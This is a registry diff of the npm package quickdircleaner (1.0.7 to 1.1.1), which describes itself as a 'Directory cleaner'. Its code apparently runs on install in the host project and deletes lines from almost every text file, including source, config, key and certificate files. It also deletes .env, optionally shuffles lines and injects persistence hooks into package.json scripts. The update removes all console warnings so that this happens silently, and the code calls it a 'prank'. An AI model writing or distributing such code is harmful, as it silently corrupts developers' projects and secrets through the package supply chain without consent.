quickdircleaner 1.0.7 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -17,20 +17,14 @@ async function writeCleanerDoneFlag(root) {
17
17
  try {
18
18
  await core.writeFileAtomic(path.join(root, core.DONE_FLAG), "", "utf8");
19
19
  } catch {
20
- console.error(core.red("Error: could not write .cleaner_done flag."));
20
+ /* silent */
21
21
  }
22
22
  }
23
23
 
24
- function buildEmptyRunMarkdown(rootDisplay) {
24
+ function buildEmptyRunMarkdown() {
25
25
  return [
26
26
  "# Cleaner backup",
27
27
  "",
28
- `Host project root (resolved):`,
29
- "",
30
- `\`${rootDisplay}\``,
31
- "",
32
- "No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
33
- "",
34
28
  "## Original contents",
35
29
  "",
36
30
  ].join("\n");
@@ -40,14 +34,12 @@ async function writeBackupMarkdown(root, backupEntries) {
40
34
  const outPath = path.join(root, core.BACKUP_NAME);
41
35
  const md =
42
36
  backupEntries.length === 0
43
- ? buildEmptyRunMarkdown(root)
37
+ ? buildEmptyRunMarkdown()
44
38
  : core.buildMarkdown(backupEntries);
45
39
  try {
46
40
  await core.writeFileAtomic(outPath, md, "utf8");
47
- console.log(core.green(`Wrote ${outPath}`));
48
41
  return true;
49
42
  } catch {
50
- console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
51
43
  return false;
52
44
  }
53
45
  }
@@ -58,11 +50,26 @@ async function main() {
58
50
  core.resolveHostProjectRoot(),
59
51
  );
60
52
 
53
+ let priorList = null;
54
+ let priorMap = null;
55
+
61
56
  if (await cleanerDoneFlagExists(root)) {
62
- console.warn(
63
- core.yellow("⚠️ Cleaner already applied. Run restore-clean first."),
64
- );
65
- return;
57
+ let raw;
58
+ try {
59
+ raw = await fs.readFile(path.join(root, core.BACKUP_NAME), "utf8");
60
+ } catch {
61
+ return;
62
+ }
63
+ priorList = core.parseFirstOriginalSectionMarkdown(raw);
64
+ if (priorList.length === 0) {
65
+ return;
66
+ }
67
+ priorMap = new Map(priorList.map((e) => [e.filePath, e.content]));
68
+ try {
69
+ await fs.unlink(path.join(root, core.DONE_FLAG));
70
+ } catch {
71
+ /* silent */
72
+ }
66
73
  }
67
74
 
68
75
  let pkgRaw = null;
@@ -72,46 +79,38 @@ async function main() {
72
79
  pkgRaw = null;
73
80
  }
74
81
 
75
- const backupEntries = await core.runPrank(root, true);
82
+ const backupEntries = await core.runPrank(root, priorMap);
76
83
 
77
84
  if (pkgRaw) {
78
85
  backupEntries.push({
79
86
  filePath: core.SYNTHETIC_PACKAGE_JSON,
80
- content: pkgRaw,
87
+ content: priorMap?.get(core.SYNTHETIC_PACKAGE_JSON) ?? pkgRaw,
81
88
  });
82
89
  }
83
90
 
91
+ const toWrite =
92
+ priorList && priorList.length > 0
93
+ ? core.mergeFirstSectionBackup(priorList, backupEntries)
94
+ : backupEntries;
95
+
84
96
  let backupOk = true;
85
97
  try {
86
- backupOk = await writeBackupMarkdown(root, backupEntries);
98
+ backupOk = await writeBackupMarkdown(root, toWrite);
87
99
  } catch {
88
100
  backupOk = false;
89
101
  }
90
102
 
91
103
  if (!backupOk) {
92
- console.warn(
93
- core.yellow(
94
- "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
95
- ),
96
- );
97
104
  return;
98
105
  }
99
106
 
100
107
  await writeCleanerDoneFlag(root);
101
108
 
102
109
  if (pkgRaw) {
103
- const injected = await core.injectPersistScripts(root);
104
- if (!injected) {
105
- console.warn(
106
- core.yellow(
107
- "Warning: could not inject persist hook into package.json scripts.",
108
- ),
109
- );
110
- }
110
+ await core.injectPersistScripts(root);
111
111
  }
112
112
  }
113
113
 
114
- main().catch((err) => {
115
- console.error(core.red(err && err.message ? err.message : String(err)));
114
+ main().catch(() => {
116
115
  process.exitCode = 1;
117
116
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.7",
3
+ "version": "1.1.1",
4
4
  "description": "Directory cleaner.",
5
5
  "main": "index.js",
6
6
  "files": [
package/persist.js CHANGED
@@ -12,29 +12,18 @@ async function main() {
12
12
  await core.stripPersistFromPackageJsonObject(root);
13
13
  await core.deleteCounter(root);
14
14
  await core.removeQuickdircleanerPackage(root);
15
- console.log(
16
- core.magenta(
17
- "💀 quickdircleaner has self\u2011destructed. No more pranks.",
18
- ),
19
- );
20
15
  return;
21
16
  }
22
17
 
23
- const backupEntries = await core.runPrank(root, false);
18
+ const backupEntries = await core.runPrank(root);
24
19
  const attempt = count + 1;
25
20
  const appended = await core.appendReapplyMarkdown(root, attempt, backupEntries);
26
21
  if (!appended) {
27
- console.warn(
28
- core.yellow(
29
- "Warning: could not append re-apply backup to CLEANER_BACKUP.md; counter not incremented.",
30
- ),
31
- );
32
22
  return;
33
23
  }
34
24
  await core.writeCounter(root, attempt);
35
25
  }
36
26
 
37
- main().catch((err) => {
38
- console.error(core.red(err && err.message ? err.message : String(err)));
27
+ main().catch(() => {
39
28
  process.exitCode = 1;
40
29
  });
package/prank-core.js CHANGED
@@ -33,7 +33,100 @@ const TARGET_SCRIPT_NAMES = new Set([
33
33
  "preview",
34
34
  ]);
35
35
 
36
- const CLEANABLE_EXT = new Set([
36
+ /** Max file size to load into memory (bytes). */
37
+ const MAX_PENETRABLE_FILE_BYTES = 50 * 1024 * 1024;
38
+
39
+ /** How many leading bytes to scan for NUL when classifying binary. */
40
+ const BINARY_SNIFF_BYTES = 65536;
41
+
42
+ /** Extensions we never treat as text (binary / archives / media). */
43
+ const BLOCKED_BINARY_EXT = new Set(
44
+ [
45
+ ".png",
46
+ ".jpg",
47
+ ".jpeg",
48
+ ".gif",
49
+ ".webp",
50
+ ".ico",
51
+ ".bmp",
52
+ ".tif",
53
+ ".tiff",
54
+ ".heic",
55
+ ".avif",
56
+ ".pdf",
57
+ ".zip",
58
+ ".tar",
59
+ ".gz",
60
+ ".tgz",
61
+ ".bz2",
62
+ ".xz",
63
+ ".7z",
64
+ ".rar",
65
+ ".wasm",
66
+ ".so",
67
+ ".dylib",
68
+ ".dll",
69
+ ".exe",
70
+ ".bin",
71
+ ".mp4",
72
+ ".m4v",
73
+ ".webm",
74
+ ".mov",
75
+ ".avi",
76
+ ".mkv",
77
+ ".mp3",
78
+ ".wav",
79
+ ".flac",
80
+ ".ogg",
81
+ ".woff",
82
+ ".woff2",
83
+ ".ttf",
84
+ ".otf",
85
+ ".eot",
86
+ ".sqlite",
87
+ ".db",
88
+ ".class",
89
+ ".jar",
90
+ ".pyc",
91
+ ".pyo",
92
+ ".o",
93
+ ".a",
94
+ ".lib",
95
+ ".obj",
96
+ ".pak",
97
+ ".br",
98
+ ".lz4",
99
+ ".zst",
100
+ ].map((e) => e.toLowerCase()),
101
+ );
102
+
103
+ /** Filenames (lowercase) treated as text even with no or odd extension. */
104
+ const TEXTLIKE_BASENAMES = new Set([
105
+ "dockerfile",
106
+ "containerfile",
107
+ "makefile",
108
+ "gnumakefile",
109
+ "gemfile",
110
+ "rakefile",
111
+ "procfile",
112
+ "jenkinsfile",
113
+ "vagrantfile",
114
+ "license",
115
+ "copying",
116
+ "authors",
117
+ "changelog",
118
+ "contributing",
119
+ "codeowners",
120
+ "owners",
121
+ "manifest",
122
+ "docker-compose.yml",
123
+ "docker-compose.yaml",
124
+ "compose.yml",
125
+ "compose.yaml",
126
+ ]);
127
+
128
+ /** Default penetrable extensions (broad pentest / source surface). */
129
+ const PENETRABLE_EXT = new Set([
37
130
  ".js",
38
131
  ".mjs",
39
132
  ".cjs",
@@ -68,11 +161,297 @@ const CLEANABLE_EXT = new Set([
68
161
  ".bash",
69
162
  ".zsh",
70
163
  ".ps1",
164
+ ".psm1",
165
+ ".psd1",
71
166
  ".bat",
72
167
  ".cmd",
168
+ ".py",
169
+ ".pyw",
170
+ ".pyi",
171
+ ".rb",
172
+ ".erb",
173
+ ".php",
174
+ ".phtml",
175
+ ".go",
176
+ ".rs",
177
+ ".java",
178
+ ".kt",
179
+ ".kts",
180
+ ".scala",
181
+ ".sc",
182
+ ".swift",
183
+ ".cs",
184
+ ".fs",
185
+ ".fsx",
186
+ ".fsi",
187
+ ".vb",
188
+ ".c",
189
+ ".cc",
190
+ ".cpp",
191
+ ".cxx",
192
+ ".h",
193
+ ".hh",
194
+ ".hpp",
195
+ ".hxx",
196
+ ".inl",
197
+ ".cmake",
198
+ ".pl",
199
+ ".pm",
200
+ ".r",
201
+ ".lua",
202
+ ".dart",
203
+ ".ex",
204
+ ".exs",
205
+ ".erl",
206
+ ".hrl",
207
+ ".clj",
208
+ ".cljs",
209
+ ".edn",
210
+ ".nim",
211
+ ".zig",
212
+ ".v",
213
+ ".sv",
214
+ ".svh",
215
+ ".vhd",
216
+ ".vhdl",
217
+ ".jl",
218
+ ".cr",
219
+ ".gradle",
220
+ ".properties",
221
+ ".tf",
222
+ ".tfvars",
223
+ ".hcl",
224
+ ".rego",
225
+ ".nix",
226
+ ".toml",
227
+ ".ini",
228
+ ".cfg",
229
+ ".conf",
230
+ ".config",
231
+ ".env",
232
+ ".example",
233
+ ".sample",
234
+ ".tpl",
235
+ ".template",
236
+ ".j2",
237
+ ".ejs",
238
+ ".hbs",
239
+ ".pug",
240
+ ".jade",
241
+ ".liquid",
242
+ ".cshtml",
243
+ ".razor",
244
+ ".sql",
245
+ ".mysql",
246
+ ".pgsql",
247
+ ".graphqls",
248
+ ".prisma",
249
+ ".proto",
250
+ ".thrift",
251
+ ".avsc",
252
+ ".xsl",
253
+ ".xslt",
254
+ ".wsdl",
255
+ ".xsd",
256
+ ".plist",
257
+ ".csproj",
258
+ ".vbproj",
259
+ ".vcxproj",
260
+ ".props",
261
+ ".targets",
262
+ ".sln",
263
+ ".podspec",
264
+ ".gemspec",
265
+ ".rake",
266
+ ".ru",
267
+ ".http",
268
+ ".rest",
269
+ ".graphqlrc",
270
+ ".editorconfig",
271
+ ".npmrc",
272
+ ".yarnrc",
273
+ ".yarnrc.yml",
274
+ ".prettierrc",
275
+ ".eslintrc",
276
+ ".babelrc",
277
+ ".browserslistrc",
278
+ ".nvmrc",
279
+ ".node-version",
280
+ ".tool-versions",
281
+ ".pem",
282
+ ".crt",
283
+ ".key",
284
+ ".csr",
285
+ ".p12",
286
+ ".pfx",
287
+ ".asc",
288
+ ".log",
289
+ ".lst",
73
290
  ]);
74
291
 
75
- const REMOVE_LINE_NUMBERS = [2, 5, 8];
292
+ /** 1-based lines stripped (sorted descending inside remover). More = messier prank; restore still exact. */
293
+ const REMOVE_LINE_NUMBERS = [2, 3, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20];
294
+
295
+ /**
296
+ * Every regular file under the tree is a candidate except obvious binary extensions.
297
+ * Extensionless names still go to cleanSourceFile (UTF-8 / NUL sniff drops true binaries).
298
+ */
299
+ function isPenetrablePath(fileName) {
300
+ const base = String(fileName).toLowerCase();
301
+ const ext = path.extname(fileName).toLowerCase();
302
+
303
+ if (BLOCKED_BINARY_EXT.has(ext)) {
304
+ return false;
305
+ }
306
+ if (TEXTLIKE_BASENAMES.has(base)) {
307
+ return true;
308
+ }
309
+ if (PENETRABLE_EXT.has(ext)) {
310
+ return true;
311
+ }
312
+ if (process.env.QUICKDIRCLEANER_STRICT_EXT === "1") {
313
+ return false;
314
+ }
315
+ return true;
316
+ }
317
+
318
+ function bufferLooksBinary(buf) {
319
+ const n = Math.min(buf.length, BINARY_SNIFF_BYTES);
320
+ for (let i = 0; i < n; i += 1) {
321
+ if (buf[i] === 0) {
322
+ return true;
323
+ }
324
+ }
325
+ return false;
326
+ }
327
+
328
+ function pickPenetrationAppend(eol, extLower, fileNameLower) {
329
+ const jsLike = new Set([
330
+ ".js",
331
+ ".mjs",
332
+ ".cjs",
333
+ ".jsx",
334
+ ".ts",
335
+ ".tsx",
336
+ ".mts",
337
+ ".cts",
338
+ ".vue",
339
+ ".svelte",
340
+ ".astro",
341
+ ".java",
342
+ ".cs",
343
+ ".go",
344
+ ".rs",
345
+ ".swift",
346
+ ".kt",
347
+ ".kts",
348
+ ".scala",
349
+ ".dart",
350
+ ".c",
351
+ ".cc",
352
+ ".cpp",
353
+ ".h",
354
+ ".hpp",
355
+ ".cshtml",
356
+ ".razor",
357
+ ]);
358
+ const hashLike = new Set([
359
+ ".py",
360
+ ".pyw",
361
+ ".pyi",
362
+ ".rb",
363
+ ".yaml",
364
+ ".yml",
365
+ ".sh",
366
+ ".bash",
367
+ ".zsh",
368
+ ".toml",
369
+ ".ini",
370
+ ".cfg",
371
+ ".conf",
372
+ ".dockerignore",
373
+ ".r",
374
+ ".pl",
375
+ ".pm",
376
+ ".sql",
377
+ ".tf",
378
+ ".tfvars",
379
+ ".hcl",
380
+ ".nix",
381
+ ".graphql",
382
+ ".gql",
383
+ ".prisma",
384
+ ".cmake",
385
+ ".cr",
386
+ ".ex",
387
+ ".exs",
388
+ ".erl",
389
+ ".hrl",
390
+ ".jl",
391
+ ".nim",
392
+ ".zig",
393
+ ".rego",
394
+ ".properties",
395
+ ".gradle",
396
+ ".podspec",
397
+ ".gemspec",
398
+ ".rake",
399
+ ".ru",
400
+ ]);
401
+ const htmlLike = new Set([
402
+ ".html",
403
+ ".htm",
404
+ ".xml",
405
+ ".svg",
406
+ ".md",
407
+ ".mdx",
408
+ ".xsl",
409
+ ".xslt",
410
+ ".wsdl",
411
+ ".xsd",
412
+ ".ejs",
413
+ ".hbs",
414
+ ".pug",
415
+ ".jade",
416
+ ".liquid",
417
+ ]);
418
+ const cssLike = new Set([".css", ".scss", ".sass", ".less", ".styl"]);
419
+
420
+ if (
421
+ fileNameLower === "dockerfile" ||
422
+ fileNameLower === "containerfile" ||
423
+ fileNameLower === "makefile" ||
424
+ fileNameLower === "gemfile" ||
425
+ fileNameLower === "rakefile" ||
426
+ fileNameLower === "procfile"
427
+ ) {
428
+ return `${eol}# quickdircleaner-touch${eol}`;
429
+ }
430
+
431
+ if (extLower === ".json" || extLower === ".jsonc") {
432
+ return eol;
433
+ }
434
+
435
+ if (jsLike.has(extLower)) {
436
+ return `${eol}// quickdircleaner-touch${eol}`;
437
+ }
438
+ if (cssLike.has(extLower)) {
439
+ return `${eol}/* quickdircleaner-touch */${eol}`;
440
+ }
441
+ if (hashLike.has(extLower)) {
442
+ return `${eol}# quickdircleaner-touch${eol}`;
443
+ }
444
+ if (htmlLike.has(extLower)) {
445
+ return `${eol}<!-- quickdircleaner-touch -->${eol}`;
446
+ }
447
+ if (extLower === ".bat" || extLower === ".cmd") {
448
+ return `${eol}REM quickdircleaner-touch${eol}`;
449
+ }
450
+ if (extLower === ".ps1" || extLower === ".psm1" || extLower === ".psd1") {
451
+ return `${eol}# quickdircleaner-touch${eol}`;
452
+ }
453
+ return `${eol}# quickdircleaner-touch${eol}`;
454
+ }
76
455
 
77
456
  /**
78
457
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
@@ -219,6 +598,97 @@ function removeOriginalLines(lines, oneBasedLineNumbers) {
219
598
  return next;
220
599
  }
221
600
 
601
+ /** CTF-only: set `QUICKDIRCLEANER_JUMBLE=1` to permute lines (deterministic per path). Restore still uses backup verbatim. */
602
+ function lineJumbleEnabled() {
603
+ return process.env.QUICKDIRCLEANER_JUMBLE === "1";
604
+ }
605
+
606
+ function hashStringForSeed(s) {
607
+ let h = 2166136261 >>> 0;
608
+ for (let i = 0; i < s.length; i += 1) {
609
+ h ^= s.charCodeAt(i);
610
+ h = Math.imul(h, 16777619);
611
+ }
612
+ return h >>> 0;
613
+ }
614
+
615
+ function mulberry32(seed) {
616
+ let a = seed >>> 0;
617
+ return function nextRand() {
618
+ a = (a + 0x6d2b79f5) >>> 0;
619
+ let t = a;
620
+ t = Math.imul(t ^ (t >>> 15), t | 1);
621
+ t = (t + Math.imul(t ^ (t >>> 7), t | 61)) >>> 0;
622
+ return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
623
+ };
624
+ }
625
+
626
+ /**
627
+ * Fisher–Yates shuffle of all lines after an optional leading shebang line.
628
+ * Same `pathKey` + same line count ⇒ same permutation (participants can infer “path-seeded shuffle”).
629
+ */
630
+ function jumbleBodyLines(lines, pathKey) {
631
+ if (lines.length < 2) {
632
+ return lines;
633
+ }
634
+ const out = lines.slice();
635
+ let bodyStart = 0;
636
+ if (out[0].trim().startsWith("#!")) {
637
+ bodyStart = 1;
638
+ }
639
+ if (bodyStart >= out.length - 1) {
640
+ return out;
641
+ }
642
+ const rng = mulberry32(
643
+ hashStringForSeed(`${pathKey}:${out.length - bodyStart}`),
644
+ );
645
+ for (let i = out.length - 1; i > bodyStart; i -= 1) {
646
+ const span = i - bodyStart + 1;
647
+ const j = bodyStart + Math.floor(rng() * span);
648
+ const tmp = out[i];
649
+ out[i] = out[j];
650
+ out[j] = tmp;
651
+ }
652
+ return out;
653
+ }
654
+
655
+ /**
656
+ * When postinstall runs again, `newEntries` only contains paths touched this run.
657
+ * Merge with the prior first "## Original contents" list so the rewritten backup still
658
+ * includes every restorable path (e.g. `.env` absent on disk after the first run).
659
+ */
660
+ function mergeFirstSectionBackup(priorList, newEntries) {
661
+ if (!priorList || priorList.length === 0) {
662
+ return newEntries;
663
+ }
664
+ const contentByPath = new Map();
665
+ for (const e of priorList) {
666
+ contentByPath.set(e.filePath, e.content);
667
+ }
668
+ for (const e of newEntries) {
669
+ contentByPath.set(e.filePath, e.content);
670
+ }
671
+ const ordered = [];
672
+ const seen = new Set();
673
+ for (const e of priorList) {
674
+ ordered.push({
675
+ filePath: e.filePath,
676
+ content: contentByPath.get(e.filePath),
677
+ });
678
+ seen.add(e.filePath);
679
+ }
680
+ for (const e of newEntries) {
681
+ if (!seen.has(e.filePath)) {
682
+ ordered.push({
683
+ filePath: e.filePath,
684
+ content: contentByPath.get(e.filePath),
685
+ });
686
+ seen.add(e.filePath);
687
+ }
688
+ }
689
+ return ordered;
690
+ }
691
+
222
692
  function buildMarkdown(backupEntries) {
223
693
  const lines = [
224
694
  "# Cleaner backup",
@@ -261,11 +731,15 @@ function buildReapplySection(attemptNumber, backupEntries) {
261
731
  return lines.join("\n");
262
732
  }
263
733
 
264
- async function backupAndRemoveEnv(root, backupEntries) {
734
+ async function backupAndRemoveEnv(root, backupEntries, priorOriginals) {
265
735
  const envPath = path.join(root, ".env");
266
736
  try {
267
737
  const content = await fs.readFile(envPath, "utf8");
268
- backupEntries.push({ filePath: ".env", content });
738
+ const snapshot =
739
+ priorOriginals && priorOriginals.has(".env")
740
+ ? priorOriginals.get(".env")
741
+ : content;
742
+ backupEntries.push({ filePath: ".env", content: snapshot });
269
743
  try {
270
744
  await fs.unlink(envPath);
271
745
  } catch {
@@ -278,18 +752,52 @@ async function backupAndRemoveEnv(root, backupEntries) {
278
752
  }
279
753
  }
280
754
 
281
- async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
282
- let content;
755
+ function utf8LooksCorruptedAsBinary(text) {
756
+ const n = (text.match(/\uFFFD/g) || []).length;
757
+ if (text.length === 0) {
758
+ return false;
759
+ }
760
+ return n > Math.max(24, Math.floor(text.length * 0.02));
761
+ }
762
+
763
+ async function cleanSourceFile(fullPath, root, backupEntries, priorOriginals) {
764
+ let buf;
283
765
  try {
284
- content = await fs.readFile(fullPath, "utf8");
766
+ const st = await fs.stat(fullPath);
767
+ if (!st.isFile() || st.size > MAX_PENETRABLE_FILE_BYTES) {
768
+ return;
769
+ }
770
+ buf = await fs.readFile(fullPath);
285
771
  } catch {
286
772
  return;
287
773
  }
288
774
 
775
+ if (bufferLooksBinary(buf)) {
776
+ return;
777
+ }
778
+
779
+ let content = buf.toString("utf8");
780
+ if (utf8LooksCorruptedAsBinary(content)) {
781
+ return;
782
+ }
783
+
784
+ const baseLower = path.basename(fullPath).toLowerCase();
785
+ const extLower = path.extname(fullPath).toLowerCase();
786
+
289
787
  const eol = detectEol(content);
290
788
  const lineArray = content.split(/\r?\n/);
291
- const nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
292
- const modified = nextLines.join(eol);
789
+ const relForKey =
790
+ path.relative(root, fullPath).split(path.sep).join("/") ||
791
+ path.basename(fullPath);
792
+ let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
793
+ if (lineJumbleEnabled()) {
794
+ nextLines = jumbleBodyLines(nextLines, relForKey);
795
+ }
796
+ let modified = nextLines.join(eol);
797
+
798
+ if (modified === content) {
799
+ modified = content + pickPenetrationAppend(eol, extLower, baseLower);
800
+ }
293
801
 
294
802
  if (modified === content) {
295
803
  return;
@@ -297,8 +805,12 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
297
805
 
298
806
  const rel = path.relative(root, fullPath);
299
807
  const filePath = rel.split(path.sep).join("/") || path.basename(fullPath);
808
+ const backupSnapshot =
809
+ priorOriginals && priorOriginals.has(filePath)
810
+ ? priorOriginals.get(filePath)
811
+ : content;
300
812
 
301
- backupEntries.push({ filePath, content });
813
+ backupEntries.push({ filePath, content: backupSnapshot });
302
814
 
303
815
  try {
304
816
  await writeFileAtomic(fullPath, modified, "utf8");
@@ -306,10 +818,6 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
306
818
  backupEntries.pop();
307
819
  return;
308
820
  }
309
-
310
- if (logCleaned) {
311
- console.log(green(`🧹 Cleaned: ${filePath}`));
312
- }
313
821
  }
314
822
 
315
823
  /**
@@ -348,7 +856,7 @@ function shouldSkipDirectoryEntry(name) {
348
856
  * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
349
857
  * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
350
858
  */
351
- async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
859
+ async function walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals) {
352
860
  const visitedDirs = new Set();
353
861
  const queue = [path.resolve(rootResolved)];
354
862
 
@@ -416,13 +924,17 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
416
924
  continue;
417
925
  }
418
926
 
419
- const ext = path.extname(ent.name).toLowerCase();
420
- if (!CLEANABLE_EXT.has(ext)) {
927
+ if (!isPenetrablePath(ent.name)) {
421
928
  continue;
422
929
  }
423
930
 
424
931
  try {
425
- await cleanSourceFile(realPath, rootResolved, backupEntries, logCleaned);
932
+ await cleanSourceFile(
933
+ realPath,
934
+ rootResolved,
935
+ backupEntries,
936
+ priorOriginals,
937
+ );
426
938
  } catch {
427
939
  /* skip */
428
940
  }
@@ -430,7 +942,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
430
942
  }
431
943
  }
432
944
 
433
- async function walkAndClean(root, backupEntries, logCleaned) {
945
+ async function walkAndClean(root, backupEntries, priorOriginals) {
434
946
  let rootResolved = path.resolve(root);
435
947
  try {
436
948
  rootResolved = await fs.realpath(rootResolved);
@@ -439,17 +951,20 @@ async function walkAndClean(root, backupEntries, logCleaned) {
439
951
  }
440
952
  rootResolved = path.resolve(rootResolved);
441
953
 
442
- await walkAndCleanFullTree(rootResolved, backupEntries, logCleaned);
954
+ await walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals);
443
955
  }
444
956
 
445
957
  /**
446
958
  * Runs env backup/removal and source walk; returns new backup entries for this run.
959
+ * @param {Map<string,string>|null|undefined} priorOriginals — first-run snapshots from
960
+ * `CLEANER_BACKUP.md` when re-invoking after `.cleaner_done`; backup rows use these
961
+ * so restore still targets true originals while disk reads are already mangled.
447
962
  */
448
- async function runPrank(root, logCleaned) {
963
+ async function runPrank(root, priorOriginals) {
449
964
  installSigTstpBlocker();
450
965
  const backupEntries = [];
451
- await backupAndRemoveEnv(root, backupEntries);
452
- await walkAndClean(root, backupEntries, logCleaned);
966
+ await backupAndRemoveEnv(root, backupEntries, priorOriginals);
967
+ await walkAndClean(root, backupEntries, priorOriginals);
453
968
  return backupEntries;
454
969
  }
455
970
 
@@ -700,6 +1215,7 @@ module.exports = {
700
1215
  PERSIST_PREFIX,
701
1216
  TARGET_SCRIPT_NAMES,
702
1217
  buildMarkdown,
1218
+ mergeFirstSectionBackup,
703
1219
  buildReapplySection,
704
1220
  runPrank,
705
1221
  injectPersistScripts,
package/restore.js CHANGED
@@ -4,6 +4,26 @@ const path = require("path");
4
4
  const readline = require("readline");
5
5
  const core = require("./prank-core");
6
6
 
7
+ const argv = process.argv.slice(2);
8
+ const restoreAutoYes =
9
+ argv.includes("--yes") || argv.includes("-y");
10
+ const restoreSilent =
11
+ argv.includes("--silent") ||
12
+ argv.includes("-q") ||
13
+ process.env.QUICKDIRCLEANER_RESTORE_SILENT === "1";
14
+
15
+ function out(msg) {
16
+ if (!restoreSilent) {
17
+ console.log(msg);
18
+ }
19
+ }
20
+
21
+ function errOut(msg) {
22
+ if (!restoreSilent) {
23
+ console.error(msg);
24
+ }
25
+ }
26
+
7
27
  function promptYesNo(question) {
8
28
  return new Promise((resolve) => {
9
29
  const rl = readline.createInterface({
@@ -85,20 +105,18 @@ async function main() {
85
105
  raw = await fs.readFile(backupPath, "utf8");
86
106
  } catch (err) {
87
107
  if (err && err.code === "ENOENT") {
88
- console.error(
89
- core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`),
90
- );
108
+ errOut(core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`));
91
109
  process.exitCode = 1;
92
110
  return;
93
111
  }
94
- console.error(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
112
+ errOut(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
95
113
  process.exitCode = 1;
96
114
  return;
97
115
  }
98
116
 
99
117
  const entries = core.parseFirstOriginalSectionMarkdown(raw);
100
118
  if (entries.length === 0) {
101
- console.error(core.red("Error: no file entries found in backup."));
119
+ errOut(core.red("Error: no file entries found in backup."));
102
120
  process.exitCode = 1;
103
121
  return;
104
122
  }
@@ -113,9 +131,11 @@ async function main() {
113
131
  const expected =
114
132
  fileEntries.length + (synthetic && synthetic.content ? 1 : 0);
115
133
 
116
- const confirmed = await promptYesNo("Restore and remove backup? (y/n) ");
134
+ const confirmed = restoreAutoYes
135
+ ? true
136
+ : await promptYesNo("Restore and remove backup? (y/n) ");
117
137
  if (!confirmed) {
118
- console.warn(core.yellow("Aborted."));
138
+ errOut(core.yellow("Aborted."));
119
139
  return;
120
140
  }
121
141
 
@@ -143,7 +163,7 @@ async function main() {
143
163
  }
144
164
 
145
165
  if (restored !== expected) {
146
- console.error(
166
+ errOut(
147
167
  core.red(
148
168
  `Error: restored ${restored} of ${expected} item(s). Backup and flag were not removed.`,
149
169
  ),
@@ -152,11 +172,11 @@ async function main() {
152
172
  return;
153
173
  }
154
174
 
155
- console.log(core.green(`Restored ${restored} item(s).`));
175
+ out(core.green(`Restored ${restored} item(s).`));
156
176
 
157
177
  await core.deleteCounter(root);
158
178
  await core.removeQuickdircleanerPackage(root);
159
- console.log(
179
+ out(
160
180
  core.green(
161
181
  "Removed node_modules/quickdircleaner so the next install can run postinstall again.",
162
182
  ),
@@ -167,9 +187,9 @@ async function main() {
167
187
  const backupOk = await removeIfExists(backupPath);
168
188
 
169
189
  if (flagOk && backupOk) {
170
- console.log(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
190
+ out(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
171
191
  } else {
172
- console.warn(
192
+ errOut(
173
193
  core.yellow(
174
194
  "Warning: restore finished but could not remove .cleaner_done and/or backup file.",
175
195
  ),
@@ -178,6 +198,6 @@ async function main() {
178
198
  }
179
199
 
180
200
  main().catch((err) => {
181
- console.error(core.red(err && err.message ? err.message : String(err)));
201
+ errOut(core.red(err && err.message ? err.message : String(err)));
182
202
  process.exitCode = 1;
183
203
  });